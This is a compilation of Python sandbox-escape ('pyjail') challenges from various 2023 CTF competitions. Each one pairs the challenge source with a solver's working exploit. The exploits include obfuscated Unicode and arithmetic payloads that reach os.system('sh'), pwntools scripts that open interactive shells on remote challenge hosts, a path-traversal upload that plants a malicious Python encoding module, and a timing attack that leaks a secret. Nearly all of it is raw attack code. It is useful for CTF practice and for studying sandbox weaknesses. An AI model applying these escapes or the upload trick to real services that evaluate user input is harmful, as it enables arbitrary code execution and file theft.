[*()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ_(()._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_)[[]>[]].๐ณ๐ฆ๐จ๐ช๐ด๐ต๐ฆ๐ณ._๏ผฟ๐ฃ๐ถ๐ช๐ญ๐ต๐ช๐ฏ๐ด๏ผฟ_.๐ท๐ข๐ญ๐ถ๐ฆ๐ด()][([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])](""._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_[([]==[])+([]==[])+([]==[])+([]==[])]+""._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_[[]>[]]).๐ด๐บ๐ด๐ต๐ฆ๐ฎ(""._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_[[]>[]]+""._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ_._๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ_[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])])
# https://github.com/UofTCTF/uoftctf-2024-chals-public/blob/master/Jail/zero/solve/writeup.md().๏ผฟ๐ค๐ญ๐ข๐ด๐ด๏ผฟ.๏ผฟ๐ฃ๐ข๐ด๐ฆ๐ด๏ผฟ[(''=='')-(''=='')].๏ผฟ๐ด๐ถ๐ฃ๐ค๐ญ๐ข๐ด๐ด๐ฆ๐ด๏ผฟ()[((''=='')+(''=='')+(''=='')+(''=='')+(''==''))((''=='')+(''=='')+(''==''))-((''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''==''))].๐จ๐ฆ๐ต_๐ฅ๐ข๐ต๐ข(".",().๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ[((''=='')+(''==''))((''=='')+(''=='')+(''=='')+(''=='')+(''==''))-(''=='')] + ().๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ[(''=='')+(''=='')+(''=='')] + [].๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ[((''=='')+(''=='')+(''=='')+(''==''))*((''=='')+(''=='')+(''==''))] + [].๏ผฟ๐ฅ๐ฐ๐ค๏ผฟ[(((''=='')+(''=='')+(''=='')+(''==''))<<((''=='')+(''=='')+(''=='')))+((''=='')+(''=='')+(''=='')+(''==''))])
GlacierCTF 2023: Avatar
print("You get one chance to awaken from the ice prison.")code = input("input: ").strip()whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flagif any([x not in whitelist for x in code]) or len(code) > 40000:
print("Denied!") exit(0)
eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})
m = b"""[a for a in ().__class__.__base__.__subclasses__() if 'wrapper' not in f'{a.__init__}'][0].__init__.__builtins__['__import__']('os').system('sh')"""print(m)m = [int(x) for x in m]m = m[3:]
mapping = { 1: "g", 2: "t", 32: "f", 91: "c", ord('a'): "c+t+t+t", ord('f'): "c+t+t+t+t+t+g", ord('o'): "c+t+t+t+t+t+t+t+t+t+t", ord('r'): "c+t+t+t+t+t+t+t+t+t+t+t+g", ord('i'): "c+t+t+t+t+t+t+t", ord('n'): "c+t+t+t+t+t+t+t+t+t+g", ord('('): "f+t*t*t", ord(')'): "f+t*t*t+g", ord('.'): "f+t*t*t+t+t+t", ord('_'): "c+t+g+g", ord('c'): "c+t+t+t+t", ord('l'): "c+t+t+t+t+t+t+t+t+g", ord('s'): "c+t*t*t*t+t+t+t+t", ord('b'): "c+t+t+t+g", ord('e'): "c+t+t+t+t+t", ord('u'): "c+t*t*t*t+t+t+t+t+t", ord("'"): "f+t+t+t+g", ord('w'): "c+t*t*t*t+t+t+t+t+t+t", ord('p'): "c+t+t+t+t+t+t+t+t+t+t+g", ord('t'): "c+t*t*t*t+t+t+t+t+g", ord('['): "c", ord(']'): "c+t", ord('0'): "f+t+t+t+t+t+t+t+t", ord('m'): "c+t+t+t+t+t+t+t+t+t", ord('y'): "c+t*t*t*t+t+t+t+t+t+t+t", ord('h'): "c+t+t+t+t+t+t+g",}
payload = 'f"{(f:=(t:=(g:=+(()==()))+g)*t*t*t*t+g+g)+t*t*(t+g):c}{(c:=(f*t+t*t*t*t+t*t*t+t+g)):c}{c:c}{c+t+t:c}'payload = 'f"{(c:=(f:=(t:=(g:=+(()==()))+g)*t*t*t*t)*t+t*t*t*t+t*t*t+t+g):c}{c+t+t+t:c}{f:c}'
whitelist = """gctf{"*+*(=>:/)*+*"}"""# generate payloadfor c in m: if chr(c) in whitelist: if chr(c) == "{" or chr(c) == "}": payload += chr(c)*2 else: payload += chr(c) elif c not in mapping: payload += "{c:c}" else: payload += "{%s:c}" % mapping[c]payload += '"'print(len(payload))print(payload)print(eval(payload)) # verify payload is the same
TFC CTF 2023: My Third Calculator
import sysprint("This is a safe calculator")inp = input("Formula: ")sys.stdin.close()
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ."if any(x in inp for x in blacklist): print("Nice try") exit()
fns = { "__builtins__": {"setattr": setattr, "__import__": __import__, "chr": chr}}print(eval(inp, fns, fns))
# [setattr(__import__('os'), 'environ', {'BROWSER': '/bin/sh -c "cat /flag" #%s'}), __import__('antigravity')][๐ด๐ฆ๐ต๐ข๐ต๐ต๐ณ(__๐ช๐ฎ๐ฑ๐ฐ๐ณ๐ต__('\\157\\163'), '\\145\\156\\166\\151\\162\\157\\156', {'\\102\\122\\117\\127\\123\\105\\122':'\\57\\142\\151\\156\\57\\163\\150\\40\\55\\143\\40\\42\\143\\141\\164\\40\\57\\146\\154\\141\\147\\42\\40\\43\\45\\163'}), __๐ช๐ฎ๐ฑ๐ฐ๐ณ๐ต__('\\141\\156\\164\\151\\147\\162\\141\\166\\151\\164\\171')]
Equinor CTF 2023: Dis is it!
from flask import Flask, request, redirect, send_from_directoryimport disimport ioimport contextlibimport osimport datetimeapp = Flask(__name__)
@app.route('/')def index(): return send_from_directory('.', 'index.html')
@app.route('/report/<path:filename>')def serve_reports(filename): res = send_from_directory('./reports/', filename) del res.headers['Content-Disposition'] res.headers['Content-Type'] = 'text/plain' return res
@app.route('/api/disassemble', methods=['POST'])def disassemble(): report_name = request.files['source'].filename source = request.files['source'].stream.read() if os.path.exists('./reports/' + report_name): return redirect('/report/' + report_name) report = io.StringIO() with contextlib.redirect_stdout(report): print('-') print('Report for', report_name) print('Report date:', datetime.datetime.now()) print('-') try: code = compile(source, '<string>', 'exec') dis.dis(code) except SyntaxError as e: print('Error:', e) print('-') print('Source code:') print('-') with open('./reports/' + report_name, 'w') as file: width = max(60, max(len(line) for line in report.getvalue().split('\n'))) for line in report.getvalue().strip().split('\n'): line = line.ljust(width) if line != '-' else '-' * width file.write('# ' + line + ' #\n') file.write(source.decode()) return redirect('/report/' + report_name)
if __name__ == '__main__': app.run('0.0.0.0', 1337)
# @nullimport requests# target = 'http://localhost:1337/'target = 'http://io.ept.gg:42256/'
payload = b'''import osos.system('cp /flag*.txt /app/reports/flag.txt')'''
# Upload payload to /usr/local/lib/python3.12/encodings/fefe.pyfiles = {'source': ('../../usr/local/lib/python3.12/encodings/fefe.py', payload.decode())}requests.post(target + '/api/disassemble', files=files, allow_redirects=False)
# When running or compiling python files that use the fefe encoding will now trigger our payloadfiles = {'source': ('fefe.py', b'# encoding: fefe')}requests.post(target + '/api/disassemble', files=files, allow_redirects=False) # trigger payload# Read flagprint(requests.get(target + '/report/flag.txt').text)
37C3 Potluck CTF: tacocat
while True:# x = input("palindrome? ")# assert "#" not in x, "comments are bad"# assert all(ord(i) < 128 for i in x), "ascii only kthx"# print(x, x[::-1]) assert x == x[::-1], "not a palindrome"# assert len(x) < 36, "palindromes can't be more than 35 characters long, this is a well known fact."# #assert sum(x.encode()) % 256 == 69, "not nice!"# eval(x)#)x(lave#"!ecin ton" ,96 == 652 % ))(edocne.x(mus tressa#".tcaf nwonk llew a si siht ,gnol sretcarahc 53 naht erom eb t'nac semordnilap" ,63 < )x(nel tressa#"emordnilap a ton" ,]1-::[x == x tressa#"xhtk ylno iicsa" ,)x ni i rof 821 < )i(dro(lla tressa#"dab era stnemmoc" ,x ni ton "#" tressa#)" ?emordnilap"(tupni = x#:eurT elihw
# setting up template for generating palindromesalph = "abcdefghijklmnopqrstvwyzABCDEFGHIJKLMNOPQRSTVWYZ1234567890!\\"#ยค%&/()=?@$โฌ{[]}"dd = r"""'START\\',)"CHAR"=:VAR1(,',(VAR1:="CHAR"),'\\START'"""ff = r"""'START\\',)"CHAR"+VAR2=:VAR1(,',(VAR1:=VAR2+"CHAR"),'\\START'"""gg = r"""'START\\',))VAR1(lave(,',(eval(VAR1)),'\\START'"""ch = [dd,ff,gg]
payload = """eval(input());"""out = []
var = var2 = "C"for i,char in enumerate(payload): found = False # some dumb manual fixes if i == 7: var = "a" var2 = "C" if i == 8: var = "C" var2 = "a" if i == 9: var = "b" var2 = "C" if i == 10: var = "b" var2 = "b" # brute char for brute in alph: n = ch[1 if i>0 and i!=len(payload)-1 else 0 if i == 0 else 2].replace("START",brute) if char == "\\"": char = "\\\\"+char n = n.replace("CHAR",char) n = n.replace("VAR1", var) n = n.replace("VAR2", var2) check = sum(n.encode()) % 256 if check == 69 and n == n[::1]: out.append(n) print(out) found = True break if not found: print("COULDNT FIND VALID CHAR", i, payload[i]) break
# verify payload worksprint()for p in out[:-1]: print(p) eval(p)payload = eval(var)print(f"{payload=}")"""'Y\\',)"e"=:C(,',(C:="e"),'\\Y''Z\\',)"v"+C=:C(,',(C:=C+"v"),'\\Z''o\\',)"a"+C=:C(,',(C:=C+"a"),'\\o''d\\',)"l"+C=:C(,',(C:=C+"l"),'\\d''(\\',)"("+C=:C(,',(C:=C+"("),'\\(''g\\',)"i"+C=:C(,',(C:=C+"i"),'\\g''b\\',)"n"+C=:C(,',(C:=C+"n"),'\\b''B\\',)"p"+C=:a(,',(a:=C+"p"),'\\B''=\\',)"u"+a=:C(,',(C:=a+"u"),'\\=''=\\',)"t"+C=:b(,',(b:=C+"t"),'\\=''j\\',)"("+b=:b(,',(b:=b+"("),'\\j''i\\',)")"+b=:b(,',(b:=b+")"),'\\i''i\\',)")"+b=:b(,',(b:=b+")"),'\\i''a\\',))b(lave(,',(eval(b)),'\\a'"""
from pwn import *sh = remote('challenge28.play.potluckctf.com',31337)for p in out: sh.sendlineafter('palindrome?', p.encode())sh.sendline("__import__('os').system('sh')")sh.interactive()
Internet Festival 2023 CTF Finals: prison
#!/usr/bin/env python3
def main(): locals = {'__builtins__': {'__build_class__': __build_class__, "print": print}}
blacklist = [ '\'', '""', '((', '[[', '{', '==', '0', '11', '2', '3', '4', '5', '6', '7', '8', '9', 'True', 'False', 'None', '...', '+', '-', '**', '/', '%', '<', '>', '&', '|', '^', '~', ]
code = input() if not code.isascii() or any(word in code for word in blacklist): print("Blacklisted word detected, exiting ...") exit(1)
exec(code, locals)
if __name__ == '__main__': main()
from pwn import *io = remote("challs.ifctf.fibonhack.it", 10010)payload = """for __name__ in __build_class__.__class__.__dir__.__qualname__: @__build_class__.__self__.exec @__build_class__.__self__.input class x:pass"""payload = payload.replace("\n","\r")io.sendline(payload)io.sendline("__build_class__.__self__.print(__build_class__.__self__.open('./flag.txt').read())")io.interactive()
WACON 2023 Prequal: ScavengerHunt
#!/usr/bin/env python3import secretimport pyseccompimport sys
print("Find the treasure!")data = input()
f = pyseccomp.SyscallFilter(defaction=pyseccomp.KILL)f.add_rule(pyseccomp.ALLOW, 'rt_sigaction')f.add_rule(pyseccomp.ALLOW, 'munmap')f.add_rule(pyseccomp.ALLOW, 'exit_group')f.add_rule(pyseccomp.ALLOW, 'exit')f.add_rule(pyseccomp.ALLOW, 'brk')f.load()del pyseccompdel fdel sys
__builtins__ = {}try: eval(data, {'__builtins__': {}}, {'__builtins__': {}})except: passexit(0)
__builtins__ = {}
some_unknown_and_very_long_identifier_name = "WACON2023{[REDACTED]}"
from pwn import *import timecontext.log_level = "critical"
# Find the offset for os._wrap_close on server (140)alph = b"{}0123456789abcdef"flag = "WACON2023{"# flag = "WACON2023{91d9cec468a8b22b57c2b091beb64bcc}"index = len(flag)while "}" not in flag: for guess in alph: # sh = remote("1.234.10.246", 55555) sh = process(["python3", "og.py"]) payload = f'''[a:=[].__class__.__base__.__subclasses__()[140].__init__.__builtins__,b:=a["__import__"],c:=b("secret").__dir__()[-1],d:=b("secret").__getattribute__(c),a["exec"]("while True:\\n\\tpass") if (a["ord"](d[{index}]))=={guess} else 1]''' print(payload) sh.recv() sh.sendline(payload) start = time.time() try: sh.recv(timeout=1) except: end = time.time() if int(end-start) >= 1: index += 1 flag += chr(guess) print(end-start, flag) sh.close() break sh.close() continue end = time.time() if int(end-start) >= 1: index += 1 flag += chr(guess) print(end-start, flag) sh.close() breakprint(flag)# [a:=[].__class__.__base__.__subclasses__()[140].__init__.__builtins__,a["exec"]("while True:\n\tpass") if True else 1]
CrewCTF 2023: starship-1
#!/usr/bin/env python3import reimport sys
class Nobuffers: def __init__(self, stream): self.stream = stream
def write(self, data): self.stream.write(data) self.stream.flush()
def writelines(self, datas): self.stream.writelines([f"{data}\n" for data in datas]) self.stream.flush()
def __getattr__(self, attr): return getattr(self.stream, attr)
banned = re.escape('\\(~}?>{&/%`)<$|*=#!-+\'0123456789;[] ')stdout = Nobuffers(sys.stdout)stdout.write('''
__..,,-----l"|-. __/"__ |----"" | i--voo..,,__ .-'=|:|/\|-------o.,,,---. Y88888888o,,__+=:_|_|__|_| ___|__|___-| """"`"""`----------........._____============:' "" |==|__\===========(=>=+ | ,_, .-"`--..._ ;="|"| |"| `.____|__|__/===========(=>=+----+===-|---------<---------_=- | ==|:|\/| | | o|.-'__,-| .' _______|o `----'| __\ __,.-'" "`--""`--"'"""`.-+------'" .' _L___,,...-----------""""""" " `------""""""""
''')
stdout.write('Enter command: ')prompt = input()
if prompt.isascii() and not re.findall(f'[{banned}]', prompt): try: exec(prompt, {'__builtins__': {'__build_class__': __build_class__, "__name__":__name__}}) except: pass
# @quasar - eval("__import__('os').system('sh')")a = """@__build_class__.__self__.eval@__build_class__.__self__.bytes@__build_class__.__self__.copyright._Printer__filenames.__add__@__build_class__.__self__.list@__build_class__.__self__.str.encode@__build_class__.__self__.chr@__build_class__.__self__.len@__build_class__.__self__.StopAsyncIteration.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EnvironmentError.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.extend@__build_class__.__self__.list@__build_class__.__self__.str.encode@"sh".format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EnvironmentError.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EncodingWarning.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.extend@__build_class__.__self__.list@__build_class__.__self__.str.encode@".system".format@__build_class__.__self__.copyright._Printer__filenames.extend@__build_class__.__self__.list@__build_class__.__self__.str.encode@__build_class__.__self__.chr@__build_class__.__self__.len@__build_class__.__self__.StopAsyncIteration.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EnvironmentError.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.extend@__build_class__.__self__.list@__build_class__.__self__.str.encode@"os".format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EnvironmentError.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.append@__build_class__.__self__.len@__build_class__.__self__.EncodingWarning.__doc__.format@__build_class__.__self__.copyright._Printer__filenames.extend@__build_class__.__self__.list@__build_class__.__self__.str.encode@"__build_class__.__self__.__import__".formatclass\x0ca:...""".replace("\n", "\r")
# @st4rnfrom pwn import *p = remote("starship-1.chal.crewc.tf", 40003)p.sendline('@__build_class__.__self__.exec\r@__build_class__.__self__.input\rclass\x0cx:pass')p.sendline('__build_class__.__self__.__import__("os").system("sh")')p.interactive()
CrewCTF 2023: starship
#!/usr/bin/env pythonimport reimport sys
class Nobuffers: def __init__(self, stream, limit=1024): self.stream = stream self.limit = limit
def write(self, data): if len(data) > self.limit: raise ValueError(f"Data exceeds the maximum limit of {self.limit} characters") self.stream.write(data) self.stream.flush()
def writelines(self, datas): datas = [f"{data}\n" for data in datas if len(data) <= self.limit] self.stream.writelines(datas) self.stream.flush()
def __getattr__(self, attr): return getattr(self.stream, attr)
blacklisted_chars = re.escape('\\(~}?>{)&/%`<$|*=#!-@+"\'0123456789;')blacklisted_words = [ 'unicode', 'name', 'setattr', 'import', 'open', 'enum', 'char', 'quit', 'getattr', 'locals', 'globals', 'len', 'exit', 'exec', 'blacklisted_words', 'print', 'builtins', 'eval', 'blacklisted_chars', 'repr', 'main', 'subclasses', 'file', 'class', 'mro', 'input', 'compile', 'init', 'doc', 'fork', 'popen', 'read', 'map', 'dir', 'help', 'error', 'warning', 'func_globals', 'vars', 'filter', 'debug', 'object', 'next', 'word', 'base', 'prompt', 'breakpoint', 'class', 'pass', 'chr', 'ord', 'iter', 'banned']blacklisted_unicode = [ '\u202e', '\u2060', '\u200f', '\u202a', '\u202b', '\u202c' '\u202d', '\u202f', '\u2061', '\u2062', '\u2063', '\u2064', '\ufeff']
blacklisted_chars = f'[{blacklisted_chars}]'blacklisted_words = '|'.join(f'({word})' for word in blacklisted_words)blacklisted_unicode_pattern = '|'.join(blacklisted_unicode)blacklisted_nonascii = '[^\x00-\x7F]'
stdout = Nobuffers(sys.stdout)stdout.write('''
__..,,-----l"|-. __/"__ |----"" | i--voo..,,__ .-'=|:|/\|-------o.,,,---. Y88888888o,,__+=:_|_|__|_| ___|__|___-| """"````"""`----------........._____============:' "" |==|__\===========(=>=+ | ,_, .-"`--..._ ;="|"| |"| `.____|__|__/===========(=>=+----+===-|---------<---------_=- | ==|:|\/| | | o|.-'__,-| .' _______|o `----'| __\ __,.-'" "`--""`--"'"""`.-+------'" .' _L___,,...-----------""""""" " `------""""""""
''')
stdout.write('Enter command: ')prompt = input()
prompt = prompt.encode('unicode-escape').decode('ascii')prompt = bytes(prompt, 'ascii').decode('unicode-escape')
if re.findall(blacklisted_chars, prompt): raise Exception('Blacklisted character detected. Go away!')
if re.findall(blacklisted_words, prompt, re.I): raise Exception('Blacklisted word detected. Go away!')
if re.search(blacklisted_unicode_pattern, prompt): raise Exception('Blacklisted unicode detected. Go away!')
if re.search(blacklisted_nonascii, prompt): raise Exception('Non-ASCII character detected. Go away!')
try: exec(prompt)except: pass
# @quasar - setting sys.stdout.flush to breakpoint[id for sys.stdout.flush in [id.__self__.__dict__[mA] for aA,bA,cA,dA,eA,fA,gA,hA,iA,jA,kA,lA,mA,nA,oA,pA,qA,rA,sA,tA,uA,vA,wA,xA,yA,zA,aB,bB,cB,dB,eB,fB,gB,hB,iB,jB,kB,lB,mB,nB,oB,pB,qB,rB,sB,tB,uB,vB,wB,xB,yB,zB,aC,bC,cC,dC,eC,fC,gC,hC,iC,jC,kC,lC,mC,nC,oC,pC,qC,rC,sC,tC,uC,vC,wC,xC,yC,zC,aD,bD,cD,dD,eD,fD,gD,hD,iD,jD,kD,lD,mD,nD,oD,pD,qD,rD,sD,tD,uD,vD,wD,xD,yD,zD,aE,bE,cE,dE,eE,fE,gE,hE,iE,jE,kE,lE,mE,nE,oE,pE,qE,rE,sE,tE,uE,vE,wE,xE,yE,zE,aF,bF,cF,dF,eF,fF,gF,hF,iF,jF,kF,lF,mF,nF,oF,pF,qF,rF,sF,tF,uF,vF,wF,xF,yF,zF,aG in [id.__self__.__dict__]]]
# @st4rn - os.system("sh")[[re.A[i] for re.RegexFlag.__getitem__ in [[[re.A[i] for re.RegexFlag.__getitem__ in [sys.modules.get]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.M.value^re.L.value^re.I.value^re.T.value, re.X.value^re.U.value^re.S.value^re.I.value^re.T.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]][re.A.value^re.A.value][re.A.value^re.A.value].system]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.S.value^re.I.value^re.T.value, re.X.value^re.U.value^re.M.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]]
# @Satoooonfrom pwn import *
payload = ""# get builtinspayload += "for b in [sys.modules[[k for k in sys.modules][True]]]:None\r"# get input()payload += "for ks in [[k for k in b.__dict__]]:None\r"payload += "for ks in [ks[True:]]:None\r" * 28payload += "for inp in [b.__dict__[ks[False]]]:None\r"# create "exec"payload += "for Nobuffers.__getitem__ in [inp]:None\r"payload += "for s in [stdout[None]]:None\r"# get exec()payload += "for exc in [b.__dict__[s]]:None\r"# exec(input())payload += "for v in [stdout[None]]:None\r"payload += "for Nobuffers.__getitem__ in [exc]:None\r"payload += "stdout[v]"
# io = process(["python3","./chall.py"])io = remote("starship.chal.crewc.tf", 40002)io.sendline(payload)io.sendline("exec")io.sendline("import os; os.system('sh')")
io.interactive()
CrewCTF 2023: setjail
import reimport ast
import void # void module contains an ascii art string
"""Example:
( when root object is A )path: .B.C["D"][1][2][3]value: "pyjail is fun!"
->
A.B.C["D"][1][2][3] = "pyjail is fun!"
"""
DISALLOWED_WORDS = ["os", "posix"]ROOT_OBJECT = void
def abort(s): print(s) exit(1)
def to_value(s): return ast.literal_eval(s)
# giftmodule = input("import: ")__import__(module)
path = input("path: ")value = to_value(input("value: "))
path, _, last_item_key, last_attr_key = re.match(r"(.*)(\[(.*)\]|\.(.*))", path).groups()
# set root objectcurrent_obj = ROOT_OBJECT
# walk objectwhile path != "": _, item_key, attr_key, path = re.match(r"(\[(.*?)\]|\.([^\.\[]*))(.*)", path).groups()
if item_key is not None: item_key = to_value(item_key) if any([word in item_key for word in DISALLOWED_WORDS]): abort("deny") current_obj = current_obj[item_key] elif attr_key is not None: if any([word in attr_key for word in DISALLOWED_WORDS]): abort("deny") current_obj = getattr(current_obj, attr_key) else: abort("invalid")
# set valueif last_item_key is not None: last_item_key = to_value(last_item_key) current_obj[last_item_key] = valueelif last_attr_key is not None: setattr(current_obj, last_attr_key, value)
print("Done")
# @Satoooon - https://github.com/search?q=repo%3Apython%2Fcpython+path%3ALib+%2Ffrom+os+import+environ%2F&type=codeimport: ctypes._aixpath: .__loader__.exec_module.__globals__["sys"].modules["ctypes._aix"].environ["PYTHONINSPECT"]value: "1"
# @maple3142import: mainimport: ospath: .__builtins__["help"].__repr__.__globals__["sys"].modules["__main__"].DISALLOWED_WORDSvalue: []path: .__builtins__["help"].__repr__.__globals__["sys"].modules["os"].environ["PYTHONINSPECT"]value: "1"
CrewCTF 2023: jailpie
#!/usr/local/bin/python3import base64import typesimport dis
def is_valid(code): whitelist = { 'LOAD_CONST', 'BINARY_OP', 'COMPARE_OP', 'POP_JUMP_BACKWARD_IF_TRUE', 'RETURN_VALUE', }
for instr in dis.Bytecode(code): if instr.opname not in whitelist: return False
if 'JUMP' in instr.opname and not (0 <= instr.argval < len(code.co_code)): return False
return True
if __name__ == '__main__': _print, _eval = print, eval # try: prog = bytes.fromhex(input('Program: ')) code = types.CodeType(0, 0, 0, 0, 0, 0, prog, (0,), (), (), '', '', '', 0, b'', b'', (), ()) assert is_valid(code)
__builtins__.__dict__.clear() _print(_eval(code, {})) # except: # _print('Nice try!')
# TBA
SEETF 2023: Another PyJail
from types import CodeType
def clear(code): return CodeType( code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize, code.co_flags, code.co_code, # No consts for youuu tuple(clear(c) if isinstance(c, CodeType) else None for c in code.co_consts), # No names for youuuu (), code.co_varnames, code.co_filename, code.co_name, code.co_firstlineno, code.co_lnotab, code.co_freevars, code.co_cellvars )
print(eval(clear(compile(input("> "), __name__, "eval")), {'__builtins__': {}}, {})(getattr))
@ juliapoolambda g: ( (lambda _0, _1: (lambda _2, _4, _8, _16, _32, _64, _128: (lambda _1234567890: (lambda s_n,s_r,s_a,s_o,s_t,s_c,s_l,s_larr,s_i,s_g,s_e,s_b,s_dash,s_f,s_ ,s_rarr,s_u, s_T, s_F,s_s, s_lbrack,s_rbrack, s_4,s_5,s_9,s_6,s_3,s_8,s_2,s_7,s_0,s_1, s_x,s_j,s_N: (lambda morestr: (lambda s_d,s_m,s_h: (lambda fromhex, decodestr: (lambda s__class__, s__bases__, s__subclasses__, s_load_module, s_system: (lambda load_module: (lambda os: (lambda system: system(s_s + s_h)) (g(os, s_system)) )(load_module(s_o + s_s)) )(g(g(g(g(g, s__class__), s__bases__)[_0], s__subclasses__)()[_16+_64], s_load_module)) )( g(fromhex(s_5+s_f+s_5+s_f+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(), g(fromhex(s_5+s_f+s_5+s_f+s_6+s_2+s_6+s_1+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(), g(fromhex(s_5+s_f+s_5+s_f+s_7+s_3+s_7+s_5+s_6+s_2+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(), g(fromhex(s_6+s_c+s_6+s_f+s_6+s_1+s_6+s_4+s_5+s_f+s_6+s_d+s_6+s_f+s_6+s_4+s_7+s_5+s_6+s_c+s_6+s_5), decodestr)(), g(fromhex(s_7+s_3+s_7+s_9+s_7+s_3+s_7+s_4+s_6+s_5+s_6+s_d), decodestr)() ) )(g(g(s_5+s_f, s_e+s_n+s_c+s_o+s_d+s_e)(), s_f+s_r+s_o+s_m+s_h+s_e+s_x), s_d+s_e+s_c+s_o+s_d+s_e) )(morestr[_1+_2+_4+_8],morestr[_2+_8],morestr[_1+_4+_8]) )(f"{g({}, s_g+s_e+s_t)}") )( f'{g}'[_8],f'{g}'[_1+_8+_16],f'{g}'[_2+_4+_16],f'{g}'[_16],f'{g}'[_1+_4],f'{g}'[_1+_4+_8],f'{g}'[_4],f'{g}'[_0],f'{g}'[_1+_2],f'{g}'[_1+_2+_16],f'{g}'[_4+_16],f'{g}'[_1],f'{g}'[_2+_4],f'{g}'[_2+_8],f'{g}'[_1+_8],f'{g}'[_2+_8+_16],f'{g}'[_2], f'{g==g}'[_0], f'{g!=g}'[_0],f'{g!=g}'[_1+_2], f"{({*f'{g}'[_0:_0]})}"[_1+_2],f"{({*f'{g}'[_0:_0]})}"[_4], f"{_1234567890}"[_1+_2],f"{_1234567890}"[_4],f"{_1234567890}"[_8],f"{_1234567890}"[_1+_4],f"{_1234567890}"[_2],f"{_1234567890}"[_1+_2+_4],f"{_1234567890}"[_1],f"{_1234567890}"[_2+_4],f"{_1234567890}"[_1+_8],f"{_1234567890}"[_0], f"{(lambda:(yield))()}"[_1+_2+_8+_16],f"{(lambda:(yield))()}"[_1+_4+_8],f"{(lambda:(yield))()}"[_2+_16] ) )(_2+_16+_64+_128+(_1<<(_1+_8))+(_1<<(_1+_16))+(_1<<(_2+_16))+(_1<<(_4+_16))+(_1<<(_1+_2+_4+_16))+(_1<<(_8+_16))+(_1<<(_1+_2+_8+_16))+(_1<<(_2+_4+_8+_16))) )(_1+_1, _1<<(_1+_1), _1<<(_1+_1+_1), _1<<(_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1+_1)) )(g!=g, g==g))
# @ maple3142 - OOB read, ref (https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc)from types import CodeTypeimport unicodedata
def clear(code): return CodeType( code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize, code.co_flags, code.co_code, # No consts for youuu tuple(clear(c) if isinstance(c, CodeType) else None for c in code.co_consts), # No names for youuuu (), code.co_varnames, code.co_filename, code.co_name, code.co_firstlineno, code.co_lnotab, code.co_freevars, code.co_cellvars )
def getnum(num): if num == 0: return '(not[[]])' return '(' + ('(not[])+' * num)[:-1] + ')'
names = []chr_code = 0for x in range(1500): while True: chr_code += 1 char = unicodedata.normalize('NFKC', chr(chr_code)) if char.isidentifier() and char not in names: names.append(char) break
table = { '__iter__': 710, '__reversed__': 713, '__doc__': 716, '__dir__': 1144,}def load_name(name): return names[table[name]]builtins = f'fn(fn,fn.{load_name("__dir__")}()[{getnum(15)}])'code = f'''lambda fn: [{",".join(names)}] if [] else [ fn({builtins},{builtins}.{load_name("__dir__")}()[{getnum(12)}])()]'''print(code) # copy this to the serverco = clear(compile(code, __name__, "eval"))print(co.co_consts)print(id(co.co_consts), id(co.co_names))val = eval(co, {'__builtins__': {}}, {})(getattr)print(val)
BYUCTF 2023: Builtins 2
inp = input("code> ")[:72]if "__" in inp: print("Nope")else: print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
()._๏ผฟclass๏ผฟ_._๏ผฟbase๏ผฟ_._๏ผฟsubclasses๏ผฟ_()[118].get_data('.','flag.txt')
